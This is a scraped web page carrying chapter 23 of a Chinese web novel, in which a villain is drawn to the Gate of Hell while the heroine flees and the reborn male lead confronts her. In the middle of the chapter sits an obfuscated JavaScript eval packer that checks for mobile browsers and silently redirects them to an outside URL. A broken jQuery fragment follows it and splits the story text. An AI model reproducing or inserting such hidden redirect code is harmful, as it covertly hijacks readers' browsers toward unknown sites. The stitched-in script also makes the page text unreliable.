23. 第 23 章
作品:《苟到反派怀里我咸鱼翻身》 雁亭序茫茫然的向前走着,视线里突然凭空出现一道大门,漆黑的门扉除泛着鬼气与魔气,赤红色的鬼火闪烁在门栓上,平添一股阴森诡谲之感。两旁的白色骷髅头咔咔作响,挣扎着妄图从这方封印的结界里冲出去,这里便是地狱之门。
雁亭序有些恍惚,他不是要去万穹山给虞想弄些千年蚕丝做衣裳吗?怎么会来到这里?
心口处的萤火珏、洛水珏与沉土珏似是受到召唤,在雁亭序心口嗡鸣不止,仿佛下一秒就要冲去门扉上的三处缺口与地狱之门合二为一,打开结界。
好像有些不对劲,雁亭序细细想来,上一世没遇到虞想之前他也是如此,一路收集三珏,打开地狱之门,将这个灰暗肮脏的世间毁了。
可这一世的他分明是不想这样的,自从再次遇到虞想之后想要毁了这个世间的念头便在他脑海里越来越淡。这个世间有虞想喜欢的糖画,衬她的好看的发簪,还有会夸他们般配的小贩,他不知何时开始觉得这个腐烂的世界还是有些美好的,有她在的时候这片腐烂的大地便开满了鲜艳馥郁的鲜花。
可为什么这一世他还是收集了三珏,并来到地狱之门?
雁亭序总觉得有股莫名的力量在暗中敦促他去做这些事,他的人生就像是一个上了发条的木偶,只会按照既定的路线行事。
呵,真的是这样吗?纯黑色的衣袍无风自动,猎猎作响,他抬头望天,冷冷的扯扯嘴角,像是无声地在与什么人对峙一般。
虞想在雁亭序离开后心里总是有些惴惴不安,她总感觉像是有什么事情要发生一样,尤其是在原著中快要大结局的这个关键时刻。
“系统,帮我检测一下雁亭序的位置。”虞想有些急促地同系统说道。
“好的,阿虞。”
“目前检测到反派正在三十里外的地狱之门那里。”
地狱之门,他去那里干什么?难不成他还会走上和上一世一样的老路,拿生人献祭?想到这,虞想只感觉心脏被猛地一锤,先前的祈祷与庆幸在此刻都灰飞烟灭。
要是真像前世那样,她还是早早逃了的好,毕竟她雁亭序那样近,真需要生人去献祭地狱之门的话,她肯定跑不了。
虞想立刻收拾起包袱。自己这几日留在这座小院的东西不多,就几件衣裳,很快就收拾完了。
虞想环顾四周,视线莫名触及到铜镜前的迎春花簪子,这只簪子还是上一次还是他上一次惹她生气,别扭又生硬送她赔罪的礼物。
就是到现在为止,虞想的内心深处还有一丁点隐秘的期盼,她希望雁亭序不会走原著的路线,但与此同时她也不敢赌,她不敢拿自己的性命去赌。
就在她凝神之际,房门突然被人从外面打开,一袭白衣的林疏放推门而入,缓缓露出一个神色莫名的笑容,“小师妹,别来无恙啊。”
虞想咬咬唇,没说话。
“怎么,没想到来的人是我?这些日子与雁亭序相处如何?”
“你不会又爱上他了吧?”戏谑又充满一股说不清道不明的扭曲的诘问一句句出现在虞想耳畔。
电光石火间,虞想像是想到了什么?
“你有前世的记忆。”虞想看着眼前的人,笃定的说道。
“我的小师妹还真是聪明,只是没想到会这么快就移情别恋了。”
系统内部兀然出现一道警报,刺耳的长鸣贯穿着虞想的大脑。
“警报——原著剧情异常崩坏,修正中!”
看着脸上隐隐泛着紫色蝴蝶纹印的林疏放,虞想后知后觉的感觉到男主好像黑化了。
林疏放看着眼前震惊的少女,又笑了下。
上一世这个小师妹刚开始也是十分跋扈,惹人厌烦,可不知道什么时候她突然变得乖顺,他受伤时她便去为他寻来上好丹药,他外出游历,她也一定要一同前往,对他嘘寒问暖、关怀备至。
那时她的眼里都是他。
这一世她却对他避如蛇蝎,甚至还和那个能威胁到他的魔头在一起了。
那个少年自上一世就十分出名,天生魔物,根骨极佳,十分适合修炼。他前世兢兢业业、勤勉修炼却还是在最后关头对上他的时候险些落败,要不是后来顾影师妹助他一臂之力,说不定当时他真的就死在他的手上。
这样能威胁到他名誉与实力地位的人,怎么不让人忌惮,但他偏偏又实力强大让人无端的生出一股恐惧。
好巧不巧,这个前世他弃之如屣的小师妹这一世竟然同他搞到了一起。
林疏放眼睛直勾勾看着眼前的虞想,说道:“师妹,上一世,你关心我在我受伤时衣不解带的照顾我,不惜自损一半修为也要我寻来铸剑石送我作生辰礼,这些你都忘了吗?”
虞想顺着林疏放说的话想了想,却发现那些记忆都不甚清晰。许是因为记忆太过遥远亦或是太过痛苦,所以她下意识把它们隐藏了,要不是他提起来,可能她都不会再记起。
虞想抿抿唇,直白道:“那些都是任务,要是没有任务,我根本就不会接近你。”
林疏放听到虞想的话,只觉得荒唐至极,明明自己才是这个世界的气运之子,她靠近他讨好他不是理所应当的吗?
他不明白,为什么,为什么这一世和上一世全然不同,顾影师妹到现在都没有对他生出半份情意,这个上一世为他上刀山下火海的小师妹也离他而去,师门对他远没有上一世那样器重。
他的机缘,他的宝物,他前世所拥有的一切,在这一世统统都消失了。
究竟是哪里出了问题?
林疏放神色一凛,脑海中突然想到了一个人,是他。
是雁亭序这一世提前抢走了他的机缘,毁了他的一切,让他一开始就低人一等,是他毁了他。
林疏放看着眼前惊慌失措的少女,想到她与雁亭序的关系,冷笑一声。
既然这样,那也怪不得他了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323284|198664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雁亭序再次回到小院已经是十日后,他这次去万穹山找来千年蚕丝,又找人织就了这身罗裙,千年蚕丝柔软至极且水火不侵,是极好的防身材料。
这几日虞想看他的眼神都带着几分复杂,他不想她那样看他,却又不知道缘由,只能学着人间的男子送礼物来讨她欢心,借此缓和两人的关系。
雁亭序推门而入,却发现房间里空无一人,衣柜大开,柜子里空无一物,虞想的包袱也不翼而飞,这一切的一切都告诉他,虞想走了。
这一次又为什么再次将他抛弃。
雁亭序突然觉得满心欢喜像是被人兜头浇了一盆冷水一样,心脏隐隐开始抽痛,像是一块盛满水的海绵被人正在拧紧。
雁亭序呆愣愣的看了许久,不知道这次虞想又是为何不辞而别,手里的罗裙仿佛变成了一个笑话,笑他痴心妄想,奢望不属于他的东西。
窗外不知何时下起了小雨,淅淅沥沥,顺着檐角一滴一滴滴落在地。
他眨眨干涩的双眼,看到了梳妆台上的那支迎春花簪子。
那支簪子是他送给她的,她却把它留在了这里。
雁亭序握着尖锐的发簪,呆坐在雨幕中,心脏近乎要麻木。
在很久之前他一直以为自己是恨虞想的,恨她救了他却又将他抛弃,恨她无法从一而终,救人不能救到底。后来他才得知那并不是恨,是爱而不得。
是短暂尝过幸福与甜蜜后又被打回冷冷的世界的爱而不得。
这一世他以为的报复也不过是给自己一个接近她的理由,他其实一直以来都在渴望她的爱。
但一直受人喜欢、心地善良的虞想眼里怎么会有他?
他一个连父母都不知道是谁的贱种,世人都唾弃的下等魔物,即便爬上高位成为魔主也改变不了那些卑劣的事实。
就这样的他又怎敢奢望心中的明月垂怜他。
冰凉的泪水混着雨滴顺着眼角滴落。
暴雨织成一张细密的大网,笼罩着这方天地,雁亭序手里的簪子早已经将他的手心刺破,雨水冲刷掉鲜血,露出泛白的皮肉外翻划痕。
雁亭序仿佛不知道痛一般,躺在地上,看着瓢泼的大雨从天而降。
黑色的衣摆与泥水混在一起,已经看不出原来的样子,雁亭序因为长时间淋雨脸色已经变得苍白,让他瘦削的下巴看起来更加尖锐。
大雨下了一天一夜,雁亭序躺在那里仿佛已经毫无声息。
一抹翠翠的嫩芽在雁亭序耳畔边冒出头来,很快又被泥水掩埋隐没在土地中。
雁亭序呆滞的眼珠转了转,眼神很快恢复以前的凶狠,他像是满血复活般从地上弹起,他毫不犹豫的割破自己的手掌,鲜血汩汩往外流。雁亭序以血做阴,在半空中凭空画符,黑色的魔气化出复杂的阵法纹路吞噬着他手里的鲜血,隐隐泛着邪性。
很快阵法停止,血线指引着一个方向,雁亭序迅速撕裂虚空,顺着追去。

